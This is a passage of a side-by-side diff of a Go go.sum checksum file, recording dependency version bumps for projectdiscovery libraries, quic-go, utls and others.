github.com/kevinburke/ssh_config v1.2.0 h1:x584FjTGwHzMwvHx18PXxbBVzfnxogHaAReU4gf13a4= github.com/kevinburke/ssh_config v1.2.0 h1:x584FjTGwHzMwvHx18PXxbBVzfnxogHaAReU4gf13a4=
github.com/kevinburke/ssh_config v1.2.0/go.mod h1:CT57kijsi8u/K/BOFA39wgDQJ9CxiF4nAY/ojJ6r6mM= github.com/kevinburke/ssh_config v1.2.0/go.mod h1:CT57kijsi8u/K/BOFA39wgDQJ9CxiF4nAY/ojJ6r6mM=
github.com/klauspost/compress v1.4.1/go.mod h1:RyIbtBH6LamlWaDj8nUwkbUhJ87Yi3uG0guNDohfE1A= github.com/klauspost/compress v1.4.1/go.mod h1:RyIbtBH6LamlWaDj8nUwkbUhJ87Yi3uG0guNDohfE1A=
github.com/klauspost/compress v1.16.6 h1:91SKEy4K37vkp255cJ8QesJhjyRO0hn9i9G0GoUwLsk= github.com/klauspost/compress v1.16.7 h1:2mk3MPGNzKyxErAw8YaohYh69+pa4sIQSC0fPGCFR9I=
github.com/klauspost/compress v1.16.6/go.mod h1:ntbaceVETuRiXiv4DpjP66DpAtAGkEQskQzEyD//IeE= github.com/klauspost/compress v1.16.7/go.mod h1:ntbaceVETuRiXiv4DpjP66DpAtAGkEQskQzEyD//IeE=
github.com/klauspost/cpuid v1.2.0/go.mod h1:Pj4uuM528wm8OyEC2QMXAi2YiTZ96dNQPGgoMS4s3ek= github.com/klauspost/cpuid v1.2.0/go.mod h1:Pj4uuM528wm8OyEC2QMXAi2YiTZ96dNQPGgoMS4s3ek=
github.com/klauspost/cpuid/v2 v2.1.1 h1:t0wUqjowdm8ezddV5k0tLWVklVuvLJpoHeb4WBdydm0= github.com/klauspost/cpuid/v2 v2.0.12/go.mod h1:g2LTdtYhdyuGPqyWyv7qRAmj1WBqxuObKfj5c0PQa7c=
github.com/klauspost/cpuid/v2 v2.1.1/go.mod h1:RVVoqg1df56z8g3pUjL/3lE5UfnlrJX8tyFgg4nqhuY= github.com/klauspost/cpuid/v2 v2.2.5 h1:0E5MSMDEoAulmXNFquVs//DdoomxaoTY1kUhbc/qbZg=
github.com/klauspost/cpuid/v2 v2.2.5/go.mod h1:Lcz8mBdAVJIBVzewtcLocK12l3Y+JytZYpaMropDUws=
github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=
github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI=
@ -353,8 +352,8 @@ github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m
github.com/mattn/go-runewidth v0.0.12/go.mod h1:RAqKPSqVFrSLVXbA8x7dzmKdmGzieGRCM46jaSJTDAk= github.com/mattn/go-runewidth v0.0.12/go.mod h1:RAqKPSqVFrSLVXbA8x7dzmKdmGzieGRCM46jaSJTDAk=
github.com/mattn/go-runewidth v0.0.14 h1:+xnbZSEeDbOIg5/mE6JF0w6n9duR1l3/WmbinWVwUuU= github.com/mattn/go-runewidth v0.0.14 h1:+xnbZSEeDbOIg5/mE6JF0w6n9duR1l3/WmbinWVwUuU=
github.com/mattn/go-runewidth v0.0.14/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= github.com/mattn/go-runewidth v0.0.14/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
github.com/mholt/acmez v1.0.4 h1:N3cE4Pek+dSolbsofIkAYz6H1d3pE+2G0os7QHslf80= github.com/mholt/acmez v1.2.0 h1:1hhLxSgY5FvH5HCnGUuwbKY2VQVo8IU7rxXKSnZ7F30=
github.com/mholt/acmez v1.0.4/go.mod h1:qFGLZ4u+ehWINeJZjzPlsnjJBCPAADWTcIqE/7DAYQY= github.com/mholt/acmez v1.2.0/go.mod h1:VT9YwH1xgNX1kmYY89gY8xPJC84BFAisjo8Egigt4kE=
github.com/mholt/archiver v3.1.1+incompatible h1:1dCVxuqs0dJseYEhi5pl7MYPH9zDa1wBi7mF09cbNkU= github.com/mholt/archiver v3.1.1+incompatible h1:1dCVxuqs0dJseYEhi5pl7MYPH9zDa1wBi7mF09cbNkU=
github.com/mholt/archiver v3.1.1+incompatible/go.mod h1:Dh2dOXnSdiLxRiPoVfIr/fI1TwETms9B8CTWfeh7ROU= github.com/mholt/archiver v3.1.1+incompatible/go.mod h1:Dh2dOXnSdiLxRiPoVfIr/fI1TwETms9B8CTWfeh7ROU=
github.com/microcosm-cc/bluemonday v1.0.21/go.mod h1:ytNkv4RrDrLJ2pqlsSI46O6IVXmZOBBD4SaJyDwwTkM= github.com/microcosm-cc/bluemonday v1.0.21/go.mod h1:ytNkv4RrDrLJ2pqlsSI46O6IVXmZOBBD4SaJyDwwTkM=
@ -416,26 +415,28 @@ github.com/projectdiscovery/cdncheck v1.0.9 h1:BS15gzj9gb5AVSKqTDzPamfSgStu7nJQO
github.com/projectdiscovery/cdncheck v1.0.9/go.mod h1:18SSl1w7rMj53CGeRIZTbDoa286a6xZIxGbaiEo4Fxs= github.com/projectdiscovery/cdncheck v1.0.9/go.mod h1:18SSl1w7rMj53CGeRIZTbDoa286a6xZIxGbaiEo4Fxs=
github.com/projectdiscovery/clistats v0.0.19 h1:SA/qRHbmS9VEbVEPzX/ka01hZDYATL9ZjAnDatybhLw= github.com/projectdiscovery/clistats v0.0.19 h1:SA/qRHbmS9VEbVEPzX/ka01hZDYATL9ZjAnDatybhLw=
github.com/projectdiscovery/clistats v0.0.19/go.mod h1:NQDAW/O7cK9xBIgk46kJjwGRkjSg5JkB8E4DvuxXr+c= github.com/projectdiscovery/clistats v0.0.19/go.mod h1:NQDAW/O7cK9xBIgk46kJjwGRkjSg5JkB8E4DvuxXr+c=
github.com/projectdiscovery/dsl v0.0.16 h1:ECymBWfB6L6M/y0X6fa+mwg2l0nCSUkfoJkesjGCYJ4= github.com/projectdiscovery/dsl v0.0.21 h1:usf8J/JmhYQNm0r3qehnLM9qb5ZCPw47d6VyhrJxuxo=
github.com/projectdiscovery/dsl v0.0.16/go.mod h1:OiVbde6xGMM4NXnf3DUJIEqdwWppPADBSPMrxDHwRCU= github.com/projectdiscovery/dsl v0.0.21/go.mod h1:0X21hFJdxUtn9sy6JyBNo0yeC6yi+NMGGyeMqdL7e6Y=
github.com/projectdiscovery/fastdialer v0.0.36 h1:Ac/CRLryJB2mA8erDwAHoCJGFvjCDIPUznxWl9kJPW8= github.com/projectdiscovery/fastdialer v0.0.37 h1:GEn0VYD/Q+KWiUlQDPP5stvIauN8+gE/eooPzrwidic=
github.com/projectdiscovery/fastdialer v0.0.36/go.mod h1:jxX9iQJdTwlD6u0Q9Dj9/AmatHPW2GRl3V6XTAvKtHY= github.com/projectdiscovery/fastdialer v0.0.37/go.mod h1:e4Rg9mQ5mNCDFV37njgGCognM0PdLq5f8CcljBqTkRw=
github.com/projectdiscovery/fasttemplate v0.0.2 h1:h2cISk5xDhlJEinlBQS6RRx0vOlOirB2y3Yu4PJzpiA= github.com/projectdiscovery/fasttemplate v0.0.2 h1:h2cISk5xDhlJEinlBQS6RRx0vOlOirB2y3Yu4PJzpiA=
github.com/projectdiscovery/fasttemplate v0.0.2/go.mod h1:XYWWVMxnItd+r0GbjA1GCsUopMw1/XusuQxdyAIHMCw= github.com/projectdiscovery/fasttemplate v0.0.2/go.mod h1:XYWWVMxnItd+r0GbjA1GCsUopMw1/XusuQxdyAIHMCw=
github.com/projectdiscovery/freeport v0.0.5 h1:jnd3Oqsl4S8n0KuFkE5Hm8WGDP24ITBvmyw5pFTHS8Q= github.com/projectdiscovery/freeport v0.0.5 h1:jnd3Oqsl4S8n0KuFkE5Hm8WGDP24ITBvmyw5pFTHS8Q=
github.com/projectdiscovery/freeport v0.0.5/go.mod h1:PY0bxSJ34HVy67LHIeF3uIutiCSDwOqKD8ruBkdiCwE= github.com/projectdiscovery/freeport v0.0.5/go.mod h1:PY0bxSJ34HVy67LHIeF3uIutiCSDwOqKD8ruBkdiCwE=
github.com/projectdiscovery/goflags v0.1.18 h1:L4nwDBNJcZhbmhI3GhQ1GJwz7xVWFL3BumJ+TIDBi5E= github.com/projectdiscovery/goflags v0.1.20 h1:38JgrMOJWg+7G3GUvZJ5cpblBsOFgftNihFusv57A+4=
github.com/projectdiscovery/goflags v0.1.18/go.mod h1:cZut0Q98yksNVtM73RPSm22N/eDkAMFT9t6mwu6S5pY= github.com/projectdiscovery/goflags v0.1.20/go.mod h1:HlJeOmWiMRmjg7PnOMiQkwgLMs88DKgymV1motcxFZw=
github.com/projectdiscovery/gologger v1.1.11 h1:8vsz9oJlDT9euw6xlj7F7dZ6RWItVIqVwn4Mr6uzky8= github.com/projectdiscovery/gologger v1.1.11 h1:8vsz9oJlDT9euw6xlj7F7dZ6RWItVIqVwn4Mr6uzky8=
github.com/projectdiscovery/gologger v1.1.11/go.mod h1:UR2bgXl7zraOxYGnUwuO917hifWrwMJ0feKnVqMQkzY= github.com/projectdiscovery/gologger v1.1.11/go.mod h1:UR2bgXl7zraOxYGnUwuO917hifWrwMJ0feKnVqMQkzY=
github.com/projectdiscovery/gostruct v0.0.1 h1:1KvR6Pn4mDbQqoLEQzhRfHpbreLno2R9xqRCCt5tgmU=
github.com/projectdiscovery/gostruct v0.0.1/go.mod h1:H86peL4HKwMXcQQtEa6lmC8FuD9XFt6gkNR0B/Mu5PE=
github.com/projectdiscovery/gozero v0.0.0-20230510004414-f1d11fdaf5c6 h1:M74WAoZ99q/LJPHC8aIWIt8+FLh699KqLm2CUSHoytA= github.com/projectdiscovery/gozero v0.0.0-20230510004414-f1d11fdaf5c6 h1:M74WAoZ99q/LJPHC8aIWIt8+FLh699KqLm2CUSHoytA=
github.com/projectdiscovery/gozero v0.0.0-20230510004414-f1d11fdaf5c6/go.mod h1:jCpXNvLUCPMzm5AhJv8wtnUt/7rz0TY2SsqvKQ8tn2E= github.com/projectdiscovery/gozero v0.0.0-20230510004414-f1d11fdaf5c6/go.mod h1:jCpXNvLUCPMzm5AhJv8wtnUt/7rz0TY2SsqvKQ8tn2E=
github.com/projectdiscovery/hmap v0.0.15 h1:iTRXV94bNIuR5obYBxOhvs3yEYXdNdJJnrXnxv4uLHc= github.com/projectdiscovery/hmap v0.0.18 h1:L9+55rpXYXdPvTWBlXPsXM2xtivZa+CzRz6z3nfZyX8=
github.com/projectdiscovery/hmap v0.0.15/go.mod h1:oybodscUwBbL4GnhBPPTemazPXyMErqL+dE+0ZtJ6lg= github.com/projectdiscovery/hmap v0.0.18/go.mod h1:kTyoFd6dyhIkBRtaLOqpVZeVLBf94FFhiLFIu+Z0g/8=
github.com/projectdiscovery/httpx v1.3.4 h1:1tCP7YRngCDi2a8PvvcYqmpR1H9X7Qgn89uazKL65eg= github.com/projectdiscovery/httpx v1.3.4 h1:1tCP7YRngCDi2a8PvvcYqmpR1H9X7Qgn89uazKL65eg=
github.com/projectdiscovery/httpx v1.3.4/go.mod h1:5JlNJcEHPF9ByFFNEcaXEAs8yZYsUC6E9Q3VGfDpPeY= github.com/projectdiscovery/httpx v1.3.4/go.mod h1:5JlNJcEHPF9ByFFNEcaXEAs8yZYsUC6E9Q3VGfDpPeY=
github.com/projectdiscovery/interactsh v1.1.4 h1:1qVxJ14aG/X7TLJoK5AHnaX6I7hnbPp5R2ql1bSYzqI= github.com/projectdiscovery/interactsh v1.1.6 h1:Jm09jXtV/3zPWIkf1+KpbPR6TnjXI/4SJQE2tMvVZQ8=
github.com/projectdiscovery/interactsh v1.1.4/go.mod h1:rM8IEm6AAm68fWWExzBHjhBWfRhFYzR9gY5emOFiZCY= github.com/projectdiscovery/interactsh v1.1.6/go.mod h1:mJm+f7qfxgtiCJ+FclViaw5oqNMCkuMu8l+MjxHDmY0=
github.com/projectdiscovery/mapcidr v1.1.2 h1:Mmq/nPqvVc7fjvH/kJVK0IBOny/LrJIxZ4tQsLPCrsA= github.com/projectdiscovery/mapcidr v1.1.2 h1:Mmq/nPqvVc7fjvH/kJVK0IBOny/LrJIxZ4tQsLPCrsA=
github.com/projectdiscovery/mapcidr v1.1.2/go.mod h1:Aoq0x/wJl6KDbtQ8OcPkjIDCqx2iEyx5ty1nzso8wXM= github.com/projectdiscovery/mapcidr v1.1.2/go.mod h1:Aoq0x/wJl6KDbtQ8OcPkjIDCqx2iEyx5ty1nzso8wXM=
github.com/projectdiscovery/networkpolicy v0.0.6 h1:yDvm0XCrS9HeemRrBS+J+22surzVczM94W5nHiOy/1o= github.com/projectdiscovery/networkpolicy v0.0.6 h1:yDvm0XCrS9HeemRrBS+J+22surzVczM94W5nHiOy/1o=
@ -448,8 +449,8 @@ github.com/projectdiscovery/rdap v0.9.1-0.20221108103045-9865884d1917 h1:m03X4gB
github.com/projectdiscovery/rdap v0.9.1-0.20221108103045-9865884d1917/go.mod h1:JxXtZC9e195awe7EynrcnBJmFoad/BNDzW9mzFkK8Sg= github.com/projectdiscovery/rdap v0.9.1-0.20221108103045-9865884d1917/go.mod h1:JxXtZC9e195awe7EynrcnBJmFoad/BNDzW9mzFkK8Sg=
github.com/projectdiscovery/retryabledns v1.0.35 h1:lPX8f7exDaiNJc/4Rc44xQfFK9BpA8ZLtpQ+te2ymLU= github.com/projectdiscovery/retryabledns v1.0.35 h1:lPX8f7exDaiNJc/4Rc44xQfFK9BpA8ZLtpQ+te2ymLU=
github.com/projectdiscovery/retryabledns v1.0.35/go.mod h1:V4nRoHJzK2UmlGgKMRduLBkgNNMXJXmJchB5Wui8s4c= github.com/projectdiscovery/retryabledns v1.0.35/go.mod h1:V4nRoHJzK2UmlGgKMRduLBkgNNMXJXmJchB5Wui8s4c=
github.com/projectdiscovery/retryablehttp-go v1.0.24 h1:1In7vIUnNvEdHhnA5KmUVf+D+tVZgITaJUZxFYgKCdo= github.com/projectdiscovery/retryablehttp-go v1.0.26 h1:eZYNRRvj7lv05+XrsQU61o1sYTcPwKbmSfiOJfUOArg=
github.com/projectdiscovery/retryablehttp-go v1.0.24/go.mod h1:S2KiViUrjvRua/mifKEj+6Gs8TJjhFsrZwOXKJAZzSA= github.com/projectdiscovery/retryablehttp-go v1.0.26/go.mod h1:lCvCUZs1MK5gLi2yUT6Lw/ciVj8Wr2SnNeIJGXxWKHo=
github.com/projectdiscovery/sarif v0.0.1 h1:C2Tyj0SGOKbCLgHrx83vaE6YkzXEVrMXYRGLkKCr/us= github.com/projectdiscovery/sarif v0.0.1 h1:C2Tyj0SGOKbCLgHrx83vaE6YkzXEVrMXYRGLkKCr/us=
github.com/projectdiscovery/sarif v0.0.1/go.mod h1:cEYlDu8amcPf6b9dSakcz2nNnJsoz4aR6peERwV+wuQ= github.com/projectdiscovery/sarif v0.0.1/go.mod h1:cEYlDu8amcPf6b9dSakcz2nNnJsoz4aR6peERwV+wuQ=
github.com/projectdiscovery/stringsutil v0.0.2 h1:uzmw3IVLJSMW1kEg8eCStG/cGbYYZAja8BH3LqqJXMA= github.com/projectdiscovery/stringsutil v0.0.2 h1:uzmw3IVLJSMW1kEg8eCStG/cGbYYZAja8BH3LqqJXMA=
@ -457,16 +458,16 @@ github.com/projectdiscovery/tlsx v1.1.4 h1:jXRvichO/ZfhYERch1CbNS1PRbS2KgSBj7JoW
github.com/projectdiscovery/tlsx v1.1.4/go.mod h1:crzMlxOokVQDwGVm51JPZi1ZAgzxhNl1KVRmbff6pkI= github.com/projectdiscovery/tlsx v1.1.4/go.mod h1:crzMlxOokVQDwGVm51JPZi1ZAgzxhNl1KVRmbff6pkI=
github.com/projectdiscovery/uncover v1.0.6-0.20230601103158-bfd7e02a5bb1 h1:Pu6LvDqn+iSlhCDKKWm1ItPc++kqqlU8OntZeB/Prak= github.com/projectdiscovery/uncover v1.0.6-0.20230601103158-bfd7e02a5bb1 h1:Pu6LvDqn+iSlhCDKKWm1ItPc++kqqlU8OntZeB/Prak=
github.com/projectdiscovery/uncover v1.0.6-0.20230601103158-bfd7e02a5bb1/go.mod h1:Drl/CWD392mKtdXJhCBPlMkM0I6671pqedFphcnK5f8= github.com/projectdiscovery/uncover v1.0.6-0.20230601103158-bfd7e02a5bb1/go.mod h1:Drl/CWD392mKtdXJhCBPlMkM0I6671pqedFphcnK5f8=
github.com/projectdiscovery/utils v0.0.51 h1:WZV8kP4VW/I1ZkXDjyoudhhfVVHpAKKnW+Re0LVNMbc= github.com/projectdiscovery/utils v0.0.54 h1:qwTIalrK8pKYaxFObdeSfCtwDmVCN9qswc8+7jIpnBM=
github.com/projectdiscovery/utils v0.0.51/go.mod h1:WhzbWSyGkTDn4Jvw+7jM2yP675/RARegNjoA6S7zYcc= github.com/projectdiscovery/utils v0.0.54/go.mod h1:WhzbWSyGkTDn4Jvw+7jM2yP675/RARegNjoA6S7zYcc=
github.com/projectdiscovery/wappalyzergo v0.0.107 h1:B8gzJpAh08f1o+OiDunHAfKtqXiDnFCc7Rj1qKp+DB8= github.com/projectdiscovery/wappalyzergo v0.0.107 h1:B8gzJpAh08f1o+OiDunHAfKtqXiDnFCc7Rj1qKp+DB8=
github.com/projectdiscovery/wappalyzergo v0.0.107/go.mod h1:4Z3DKhi75zIPMuA+qSDDWxZvnhL4qTLmDx4dxNMu7MA= github.com/projectdiscovery/wappalyzergo v0.0.107/go.mod h1:4Z3DKhi75zIPMuA+qSDDWxZvnhL4qTLmDx4dxNMu7MA=
github.com/projectdiscovery/yamldoc-go v1.0.4 h1:eZoESapnMw6WAHiVgRwNqvbJEfNHEH148uthhFbG5jE= github.com/projectdiscovery/yamldoc-go v1.0.4 h1:eZoESapnMw6WAHiVgRwNqvbJEfNHEH148uthhFbG5jE=
github.com/projectdiscovery/yamldoc-go v1.0.4/go.mod h1:8PIPRcUD55UbtQdcfFR1hpIGRWG0P7alClXNGt1TBik= github.com/projectdiscovery/yamldoc-go v1.0.4/go.mod h1:8PIPRcUD55UbtQdcfFR1hpIGRWG0P7alClXNGt1TBik=
github.com/quic-go/quic-go v0.37.0 h1:wf/Ym2yeWi98oQn4ahiBSqdnaXVxNQGj2oBQFgiVChc= github.com/quic-go/quic-go v0.38.1 h1:M36YWA5dEhEeT+slOu/SwMEucbYd0YFidxG3KlGPZaE=
github.com/quic-go/quic-go v0.37.0/go.mod h1:XtCUOCALTTWbPyd0IxFfHf6h0sEMubRFvEYHl3QxKw8= github.com/quic-go/quic-go v0.38.1/go.mod h1:ijnZM7JsFIkp4cRyjxJNIzdSfCLmUMg9wdyhGmg+SN4=
github.com/refraction-networking/utls v1.4.2 h1:7N+928mSM1pEyAJb8x2Y1FbEwTIftGwn2IFykosSzwc= github.com/refraction-networking/utls v1.5.2 h1:l6diiLbEoRqdQ+/osPDO0z0lTc8O8VZV+p82N+Hi+ws=
github.com/refraction-networking/utls v1.4.2/go.mod h1:JkUIj+Pc8eyFB0z+A4RJRZmoT43ajjFZWVMXuZQ8BEQ= github.com/refraction-networking/utls v1.5.2/go.mod h1:SPuDbBmgLGp8s+HLNc83FuavwZCFoMmExj+ltUHiHUw=
github.com/remeh/sizedwaitgroup v1.0.0 h1:VNGGFwNo/R5+MJBf6yrsr110p0m4/OX4S3DCy7Kyl5E= github.com/remeh/sizedwaitgroup v1.0.0 h1:VNGGFwNo/R5+MJBf6yrsr110p0m4/OX4S3DCy7Kyl5E=
github.com/remeh/sizedwaitgroup v1.0.0/go.mod h1:3j2R4OIe/SeS6YDhICBy22RWjJC5eNCJ1V+9+NVNYlo= github.com/remeh/sizedwaitgroup v1.0.0/go.mod h1:3j2R4OIe/SeS6YDhICBy22RWjJC5eNCJ1V+9+NVNYlo=
github.com/rivo/uniseg v0.1.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= github.com/rivo/uniseg v0.1.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
@ -479,8 +480,8 @@ github.com/rs/xid v1.5.0 h1:mKX4bl4iPYJtEIxp6CYiUuLQ/8DYMoz0PUdtGgMFRVc=
github.com/rs/xid v1.5.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg= github.com/rs/xid v1.5.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg=
github.com/saintfish/chardet v0.0.0-20230101081208-5e3ef4b5456d h1:hrujxIzL1woJ7AwssoOcM/tq5JjjG2yYOc8odClEiXA= github.com/saintfish/chardet v0.0.0-20230101081208-5e3ef4b5456d h1:hrujxIzL1woJ7AwssoOcM/tq5JjjG2yYOc8odClEiXA=
github.com/saintfish/chardet v0.0.0-20230101081208-5e3ef4b5456d/go.mod h1:uugorj2VCxiV1x+LzaIdVa9b4S4qGAcH6cbhh4qVxOU= github.com/saintfish/chardet v0.0.0-20230101081208-5e3ef4b5456d/go.mod h1:uugorj2VCxiV1x+LzaIdVa9b4S4qGAcH6cbhh4qVxOU=
github.com/sashabaranov/go-openai v1.14.1 h1:jqfkdj8XHnBF84oi2aNtT8Ktp3EJ0MfuVjvcMkfI0LA= github.com/sashabaranov/go-openai v1.14.2 h1:5DPTtR9JBjKPJS008/A409I5ntFhUPPGCmaAihcPRyo=
github.com/sashabaranov/go-openai v1.14.1/go.mod h1:lj5b/K+zjTSFxVLijLSTDZuP7adOgerWeFyZLUhAKRg= github.com/sashabaranov/go-openai v1.14.2/go.mod h1:lj5b/K+zjTSFxVLijLSTDZuP7adOgerWeFyZLUhAKRg=
github.com/segmentio/ksuid v1.0.4 h1:sBo2BdShXjmcugAMwjugoGUdUV0pcxY5mW4xKRn3v4c= github.com/segmentio/ksuid v1.0.4 h1:sBo2BdShXjmcugAMwjugoGUdUV0pcxY5mW4xKRn3v4c=
github.com/segmentio/ksuid v1.0.4/go.mod h1:/XUiZBD3kVx5SmUOl55voK5yeAbBNNIed+2O73XgrPE= github.com/segmentio/ksuid v1.0.4/go.mod h1:/XUiZBD3kVx5SmUOl55voK5yeAbBNNIed+2O73XgrPE=
github.com/sergi/go-diff v1.0.0/go.mod h1:0CfEIISq7TuYL3j771MWULgwwjU+GofnZX9QAmXWZgo= github.com/sergi/go-diff v1.0.0/go.mod h1:0CfEIISq7TuYL3j771MWULgwwjU+GofnZX9QAmXWZgo=
@ -533,8 +534,8 @@ github.com/tidwall/btree v1.6.0/go.mod h1:twD9XRA5jj9VUQGELzDO4HPQTNJsoWWfYEL+EU
github.com/tidwall/buntdb v1.3.0 h1:gdhWO+/YwoB2qZMeAU9JcWWsHSYU3OvcieYgFRS0zwA= github.com/tidwall/buntdb v1.3.0 h1:gdhWO+/YwoB2qZMeAU9JcWWsHSYU3OvcieYgFRS0zwA=
github.com/tidwall/buntdb v1.3.0/go.mod h1:lZZrZUWzlyDJKlLQ6DKAy53LnG7m5kHyrEHvvcDmBpU= github.com/tidwall/buntdb v1.3.0/go.mod h1:lZZrZUWzlyDJKlLQ6DKAy53LnG7m5kHyrEHvvcDmBpU=
github.com/tidwall/gjson v1.12.1/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk= github.com/tidwall/gjson v1.12.1/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
github.com/tidwall/gjson v1.14.4 h1:uo0p8EbA09J7RQaflQ1aBRffTR7xedD2bcIVSYxLnkM= github.com/tidwall/gjson v1.16.0 h1:SyXa+dsSPpUlcwEDuKuEBJEz5vzTvOea+9rjyYodQFg=
github.com/tidwall/gjson v1.14.4/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk= github.com/tidwall/gjson v1.16.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
github.com/tidwall/grect v0.1.4 h1:dA3oIgNgWdSspFzn1kS4S/RDpZFLrIxAZOdJKjYapOg= github.com/tidwall/grect v0.1.4 h1:dA3oIgNgWdSspFzn1kS4S/RDpZFLrIxAZOdJKjYapOg=
github.com/tidwall/grect v0.1.4/go.mod h1:9FBsaYRaR0Tcy4UwefBX/UDcDcDy9V5jUcxHzv2jd5Q= github.com/tidwall/grect v0.1.4/go.mod h1:9FBsaYRaR0Tcy4UwefBX/UDcDcDy9V5jUcxHzv2jd5Q=
github.com/tidwall/lotsa v1.0.2 h1:dNVBH5MErdaQ/xd9s769R31/n2dXavsQ0Yf4TMEHHw8= github.com/tidwall/lotsa v1.0.2 h1:dNVBH5MErdaQ/xd9s769R31/n2dXavsQ0Yf4TMEHHw8=
@ -566,8 +567,8 @@ github.com/valyala/fasttemplate v1.2.1/go.mod h1:KHLXt3tVN2HBp8eijSv/kGJopbvo7S+
github.com/valyala/fasttemplate v1.2.2 h1:lxLXG0uE3Qnshl9QyaK6XJxMXlQZELvChBOCmQD0Loo= github.com/valyala/fasttemplate v1.2.2 h1:lxLXG0uE3Qnshl9QyaK6XJxMXlQZELvChBOCmQD0Loo=
github.com/valyala/fasttemplate v1.2.2/go.mod h1:KHLXt3tVN2HBp8eijSv/kGJopbvo7S+qRAEEKiv+SiQ= github.com/valyala/fasttemplate v1.2.2/go.mod h1:KHLXt3tVN2HBp8eijSv/kGJopbvo7S+qRAEEKiv+SiQ=
github.com/weppos/publicsuffix-go v0.13.0/go.mod h1:z3LCPQ38eedDQSwmsSRW4Y7t2L8Ln16JPQ02lHAdn5k= github.com/weppos/publicsuffix-go v0.13.0/go.mod h1:z3LCPQ38eedDQSwmsSRW4Y7t2L8Ln16JPQ02lHAdn5k=
github.com/weppos/publicsuffix-go v0.30.1-0.20230422193905-8fecedd899db h1:/WcxBne+5CbtbgWd/sV2wbravmr4sT7y52ifQaCgoLs= github.com/weppos/publicsuffix-go v0.30.2-0.20230730094716-a20f9abcc222 h1:h2JizvZl9aIj6za9S5AyrkU+OzIS4CetQthH/ejO+lg=
github.com/weppos/publicsuffix-go v0.30.1-0.20230422193905-8fecedd899db/go.mod h1:aiQaH1XpzIfgrJq3S1iw7w+3EDbRP7mF5fmwUhWyRUs= github.com/weppos/publicsuffix-go v0.30.2-0.20230730094716-a20f9abcc222/go.mod h1:s41lQh6dIsDWIC1OWh7ChWJXLH0zkJ9KHZVqA7vHyuQ=
github.com/xanzy/go-gitlab v0.84.0 h1:PdpCaskQSgcVDsx21c6ikf8Rfyo7SNtFAJwP9PrbCFE= github.com/xanzy/go-gitlab v0.84.0 h1:PdpCaskQSgcVDsx21c6ikf8Rfyo7SNtFAJwP9PrbCFE=
github.com/xanzy/go-gitlab v0.84.0/go.mod h1:5ryv+MnpZStBH8I/77HuQBsMbBGANtVpLWC15qOjWAw= github.com/xanzy/go-gitlab v0.84.0/go.mod h1:5ryv+MnpZStBH8I/77HuQBsMbBGANtVpLWC15qOjWAw=
github.com/xanzy/ssh-agent v0.2.1/go.mod h1:mLlQY/MoOhWBj+gOGMQkOeiEvkx+8pJSI+0Bx9h2kr4= github.com/xanzy/ssh-agent v0.2.1/go.mod h1:mLlQY/MoOhWBj+gOGMQkOeiEvkx+8pJSI+0Bx9h2kr4=
@ -592,7 +593,6 @@ github.com/ysmood/gson v0.7.3/go.mod h1:3Kzs5zDl21g5F/BlLTNcuAGAYLKt2lV5G8D1zF3R
github.com/ysmood/leakless v0.8.0 h1:BzLrVoiwxikpgEQR0Lk8NyBN5Cit2b1z+u0mgL4ZJak= github.com/ysmood/leakless v0.8.0 h1:BzLrVoiwxikpgEQR0Lk8NyBN5Cit2b1z+u0mgL4ZJak=
github.com/ysmood/leakless v0.8.0/go.mod h1:R8iAXPRaG97QJwqxs74RdwzcRHT1SWCGTNqY8q0JvMQ= github.com/ysmood/leakless v0.8.0/go.mod h1:R8iAXPRaG97QJwqxs74RdwzcRHT1SWCGTNqY8q0JvMQ=
github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k=
github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
github.com/yuin/goldmark v1.5.2/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= github.com/yuin/goldmark v1.5.2/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
github.com/yuin/goldmark v1.5.4 h1:2uY/xC0roWy8IBEGLgB1ywIoEJFGmRrX21YQcvGZzjU= github.com/yuin/goldmark v1.5.4 h1:2uY/xC0roWy8IBEGLgB1ywIoEJFGmRrX21YQcvGZzjU=
